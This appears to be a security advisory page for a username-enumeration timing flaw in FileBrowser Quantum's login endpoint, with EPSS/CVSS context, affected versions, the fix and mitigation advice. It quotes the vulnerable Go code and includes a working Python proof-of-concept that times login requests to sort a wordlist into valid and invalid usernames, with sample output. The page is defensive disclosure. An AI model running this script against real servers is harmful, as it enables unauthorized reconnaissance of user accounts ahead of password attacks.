FileBrowser Quantum has Username Enumeration via Authentication Timing Side-ChannelGHSA-7789-65hx-f26w
MEDIUMFix: gtsteffaniak/filebrowser@af08800GHSA-7789-65hx-f26w is a medium-severity (CVSS 5.3) CWE-208 vulnerability in github.com/gtsteffaniak/filebrowser/backend. A fix is available for github.com/gtsteffaniak/filebrowser/backend — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7789-65hx-f26w.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-7789-65hx-f26w by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/gtsteffaniak/filebrowser/backendReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.
Details
The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.
user, err := userStore.Get(username)
if err != nil {
return nil, fmt.Errorf("unable to get user from store: %v", err)
}
err = users.CheckPwd(password, user.Password)
if err != nil {
return nil, err
}
If the username is not found, the function returns an error immediately. If the username is found, the function calls CheckPwd, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.
As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.
In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.
PoC
The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.
import requests
import time
import statistics
# Configuration - adjust domain and wordlist as appropriate
TARGET_URL = "http://localhost/api/auth/login"
WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"]
def measure(username):
start = time.perf_counter()
requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"})
return time.perf_counter() - start
# 1. Baseline Calibration
print("[*] Calibrating...")
baselines = [measure(f"not_a_user_{i}") for i in range(20)]
threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)
print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s")
# 2. Validation Test
for user in WORDLIST:
t = measure(user)
status = "VALID" if t > threshold else "invalid"
print(f"{user:<15} | {t:.4f}s | {status}")
Example output (with admin and user2 configured as valid users in the application):
$ python timeattack.py
[*] Calibrating...
[*] Baseline: 0.0041s | Threshold: 0.0256s
admin | 0.0505s | VALID
root | 0.0019s | invalid
user2 | 0.0464s | VALID
nonexistent_test_user | 0.0015s | invalid
Impact
An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gtsteffaniak/filebrowser/backend | all versions | 0.0.0-20260317230626-af08800667b8go get github.com/gtsteffaniak/filebrowser/backend@v0.0.0-20260317230626-af08800667b8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser/backend, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260317230626-af08800667b8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7789-65hx-f26w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-7789-65hx-f26w in your dependencies?
Find it across Go, including transitive dependencies.